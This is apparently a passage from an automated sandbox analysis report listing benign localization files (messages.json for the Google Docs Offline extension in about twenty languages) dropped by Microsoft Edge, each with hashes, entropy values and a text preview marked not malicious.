Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

